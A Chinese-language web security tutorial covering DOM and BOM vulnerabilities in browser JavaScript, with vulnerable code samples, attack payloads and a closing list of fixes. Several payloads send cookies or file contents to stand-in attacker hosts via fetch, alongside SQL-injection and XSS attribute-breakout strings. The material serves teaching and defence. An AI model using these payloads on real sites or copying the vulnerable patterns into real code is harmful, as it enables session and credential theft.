web安全代码基础-JavaScript(DOM&BOM安全)
目录
DOM 型 XSS(接收器:document.write () /innerHTML/setAttribute)
打开重定向 Open redirection(接收器 window.location)
JS 注入 JavaScript injection(eval ())
操纵链接 Link manipulation element.src
Ajax 请求头操作 setRequestHeader ()
本地文件路径操作 FileReader.readAsText ()
客户端 SQL 注入 ExcuteSql ()(WebSQL 前端数据库)
HTML5 存储操纵 sessionStorage.setItem/localStorage
客户端 XPath 注入 document.evaluate ()
DOM 属性操作 element.setAttribute ()
Location 对象(高危 BOM 对象,绝大多数 DOM 漏洞源头)
DOM / BOM 基础边界
DOM(文档对象模型):只操作页面 HTML 文档(标签、文本、属性),用户可控输入流入 DOM 接收器函数就会触发DOM 类前端漏洞(表格里全部漏洞都属于 DOM 安全风险);
BOM(浏览器对象模型):操作浏览器窗口、地址栏、Cookie、历史记录、WebSocket、弹窗、本地存储等浏览器能力,大量 BOM API 是 DOM 漏洞的危险接收器;
核心根源:用户可控外部输入(URL 参数、hash、localStorage、postMessage、Cookie 等)未经净化,直接传入危险 DOM/BOM 函数,浏览器在客户端本地执行恶意逻辑,后端不会感知到攻击。
16 种 DOM 型漏洞
DOM 型 XSS(接收器:document.write () /innerHTML/setAttribute)
漏洞原理
可控输入直接写入页面 DOM,浏览器解析成 HTML/JS 执行,窃取 Cookie、会话。
危险代码
<!-- URL: test.html?name=<script>alert(document.cookie)</script> -->
<script>
// 读取URL参数,未过滤直接写入页面
let name = location.search.split("name=")[1];
document.write("欢迎您:" + name);
</script>
攻击载荷
test.html?name=<img src=x onerror=fetch('https://黑客服务器?c='+document.cookie)>
页面加载直接发送用户 Cookie 给攻击者。
打开重定向 Open redirection(接收器 window.location)
漏洞原理
URL 参数控制跳转地址,无白名单,用于钓鱼跳转恶意网站。
危险代码
// URL: login.html?redirect=https://evil.com
let jump = new URLSearchParams(location.search).get("redirect");
window.location.href = jump;
攻击危害
钓鱼链接诱导用户跳转仿站,窃取账号密码。
Cookie 操纵 Cookie manipulation(document.cookie)
漏洞原理
可控输入拼接写入 Cookie,篡改登录凭证、注入恶意 Cookie。
危险代码
// URL: setcookie?user=admin;document.cookie='isAdmin=1'
let usr = location.search.split("user=")[1];
document.cookie = "username=" + usr;
攻击载荷
攻击者注入;isAdmin=1,伪造管理员 Cookie。
JS 注入 JavaScript injection(eval ())
漏洞原理
可控字符串交给 eval 当作 JS 代码执行,任意代码执行。
危险代码
// URL: calc?code=alert(document.cookie)
let code = new URLSearchParams(location.search).get("code");
eval(code);
攻击载荷
calc?code=fetch('https://xxx?c='+document.cookie)
文档域操纵 document.domain
漏洞原理
随意降低域名限制,子域跨域窃取父域数据。
危险代码
// 子域 a.test.com 直接放宽域
document.domain = "test.com";
攻击危害
黑客控制任意子域名即可跨域读取主站 localStorage、Cookie。
WebSocket-URL 中毒 WebSocket ()
漏洞原理
URL 参数控制 ws 连接地址,劫持 WebSocket 通信、中间人窃取实时数据。
危险代码
// URL: chat?ws=wss://evil.com/chat
let wsAddr = new URLSearchParams(location.search).get("ws");
let ws = new WebSocket(wsAddr);
攻击危害
所有聊天消息转发至黑客服务器。
操纵链接 Link manipulation element.src
漏洞原理
可控输入修改图片 /iframe/script 地址,加载恶意资源。
危险代码
<!-- URL: img?src=https://evil.com/xss.js -->
<img id="avatar">
<script>
let src = location.search.split("src=")[1];
document.getElementById("avatar").src = src;
</script>
攻击载荷
传入src=x onerror=stealCookie()触发 XSS。
操纵网络消息 postMessage ()
漏洞原理
接收跨窗口消息未校验发送源,恶意页面发送恶意数据触发 DOM 漏洞。
危险代码
// 本页面监听跨窗口消息,不判断origin
window.addEventListener("message", function(e){
// 直接使用外部消息渲染页面
document.getElementById("msg").innerHTML = e.data;
})
攻击方式
黑客搭建恶意页面通过 iframe 发送"<script>偷Cookie</script>"。
Ajax 请求头操作 setRequestHeader ()
漏洞原理
可控输入自定义请求头,伪造身份、绕过鉴权、走私恶意参数。
危险代码
// URL: api?token=hacker-token
let token = new URLSearchParams(location.search).get("token");
let xhr = new XMLHttpRequest();
xhr.open("GET","/userinfo");
xhr.setRequestHeader("Authorization", token);
xhr.send();
攻击方式
攻击者传入伪造管理员 Token 越权查询数据。
本地文件路径操作 FileReader.readAsText ()
漏洞原理
前端读取本地文件路径可控,窃取用户本地敏感文件。
危险代码
<input type="file" id="file">
<script>
document.getElementById("file").onchange = function(e){
let fr = new FileReader();
// 未限制读取文件路径
fr.readAsText(e.target.files[0]);
fr.onload = function(){
// 读取文件内容上传黑客服务器
fetch("https://evil.com",{method:"POST",body:fr.result})
}
}
</script>
攻击方式
诱导用户上传C:/密码.txt等本地隐私文件。
客户端 SQL 注入 ExcuteSql ()(WebSQL 前端数据库)
漏洞原理
前端本地 WebSQL 数据库拼接可控参数,读取本地存储隐私数据。
危险代码
let db = openDatabase("userdb","1.0","local",1024*1024);
// 直接拼接URL参数
let id = location.search.split("id=")[1];
db.transaction(t=>{
t.executeSql("select * from user where id="+id,[],(t,res)=>{
console.log(res.rows)
})
})
攻击载荷
id=1 union select username,password from user,拖取本地存储账号密码。
HTML5 存储操纵 sessionStorage.setItem/localStorage
漏洞原理
可控输入写入本地存储,存储恶意载荷,下次页面加载触发 XSS。
危险代码
// URL: setstore?data=<img src=x onerror=steal()>
let data = new URLSearchParams(location.search).get("data");
sessionStorage.setItem("note", data);
// 读取存储并渲染页面,形成持久化DOM XSS
document.getElementById("note-box").innerHTML = sessionStorage.getItem("note");
攻击方式
关闭浏览器重新打开漏洞页面依然触发攻击(持久型 DOM XSS)。
客户端 XPath 注入 document.evaluate ()
漏洞原理
前端 XML 文档查询拼接可控输入,遍历读取全部本地 XML 敏感数据。
危险代码
// URL: find?key=//user/password
let key = location.search.split("key=")[1];
let xpath = document.evaluate(key, xmlDoc, null, XPathResult.ANY_TYPE, null);
攻击方式
攻击者构造 XPath 语法读取全部用户明文密码。
客户端 JSON 注入 JSON.parse ()
漏洞原理
可控 JSON 字符串解析,原型污染、逻辑篡改,前端权限绕过。
危险代码
// URL: userinfo?json={"isAdmin":false}
let jsonStr = location.search.split("json=")[1];
let user = JSON.parse(jsonStr);
if(user.isAdmin){ showAdminPanel() }
攻击载荷
{"isAdmin":true},前端直接赋予管理员视图权限。
DOM 属性操作 element.setAttribute ()
漏洞原理
可控输入写入 HTML 标签属性,构造事件处理器触发 XSS。
危险代码
<div id="tip"></div>
<script>
// URL: tip?msg=test"onmouseover=alert(1) x="
let msg = new URLSearchParams(location.search).get("msg");
document.getElementById("tip").setAttribute("title", msg);
</script>
攻击方式
拼接后 DOM:<div title="test"onmouseover=alert(1) x="">,鼠标悬浮执行恶意 JS。
正则拒绝服务 DoS RegExp ()
漏洞原理
用户可控正则表达式,构造灾难性回溯正则,占用浏览器 CPU 卡死页面。
危险代码
// URL: reg?exp=(a+)+$
let regStr = new URLSearchParams(location.search).get("exp");
let reg = new RegExp(regStr);
reg.test("aaaaaaaaaaaaaaaaaaaaaaaaaaaaa!");
攻击方式
正则灾难性回溯,浏览器标签页卡死(前端 DOS)。
BOM 五大对象对应的独立安全漏洞
BOM 所有对象(Window/Screen/Navigator/Location/History/Document)均会衍生 DOM 类漏洞,分开说明:
Window 对象(弹窗、新开窗口、关闭页面)
风险 1:钓鱼弹窗诱导
// 可控弹窗文本,伪造官方登录弹窗
let text = location.search.split("msg=")[1];
window.alert(text);
载荷:msg=系统会话过期,请重新输入账号密码 诱导泄露信息。
风险 2:无限制新建窗口钓鱼
window.open(可控url) 对应前文开放重定向漏洞。
Navigator 对象(浏览器信息读取)
无直接高危漏洞,但会泄露指纹: 攻击者读取navigator.userAgent、navigator.platform采集设备指纹,精准构造针对性恶意载荷。
console.log(navigator.userAgent); // 泄露浏览器、系统版本
Screen 对象(屏幕信息)
泄露屏幕分辨率,辅助钓鱼页面适配窗口大小,提升钓鱼逼真度,无直接注入漏洞。
Location 对象(高危 BOM 对象,绝大多数 DOM 漏洞源头)
Location 包含完整 URL、hash、search、hostname,最常用的可控输入源:
1、location.search URL 参数(上面所有漏洞的输入来源)
2、location.hash 锚点 #后内容(不会提交后端,纯 DOM 存储输入,典型 DOM XSS 载体)
// hash型DOM XSS,URL不会携带恶意内容到服务器,隐蔽性极强
let hash = location.hash.slice(1);
document.write(hash);
// 攻击链接 test.html#<script>偷Cookie</script>
3、location.href / location.assign():开放重定向漏洞接收器。
History 对象(页面历史)
漏洞:历史记录污染 + 钓鱼欺骗
history.pushState() 可控修改浏览器地址栏 URL,页面不刷新,伪造官方 URL 钓鱼。
// 页面内容是黑客仿站,但地址栏显示正常域名
history.pushState({}, "", "/official-login.html");
Document 对象(跨 DOM/BOM,核心风险载体)
document 同时属于 BOM 和 DOM,所有表格内危险 API 都隶属于 document: document.write / document.cookie / document.domain / document.evaluate / setAttribute 是前端漏洞最集中的入口。
漏洞产生根本成因
1、输入源可控:URL 参数、hash、postMessage、localStorage、文件内容、跨窗口消息全部属于客户端可控输入,后端无法拦截;
2、危险接收器:DOM/BOM 提供的写入、执行、跳转、存储类 API 会把文本解析成可执行逻辑;
3、攻击发生在浏览器本地:请求不会经过服务器日志,传统 WAF 无法拦截 DOM 型漏洞。
统一修复方案
1、输入编码转义:写入 DOM 前对可控输入做 HTML 实体转义,禁止直接传入innerHTML/write/setAttribute;
2、白名单校验:跳转 URL、WebSocket 地址、JSON 字段、正则表达式全部使用白名单,拒绝任意外部输入;
3、postMessage 增加 origin 校验:只信任可信域名发送的跨窗口消息;
4、禁止使用危险函数:尽量替换eval/document.write,使用安全 API 如textContent替代 innerHTML;
5、本地存储内容二次过滤:从 localStorage/sessionStorage 读取数据渲染页面前必须净化;
6、限制 document.domain 放宽规则:不随意降低域名隔离策略;
7、后端辅助防护:设置 CSP 内容安全策略,禁止未授权内联 JS、eval 执行,从浏览器层面阻断 DOM XSS 攻击。
更多推荐
所有评论(0)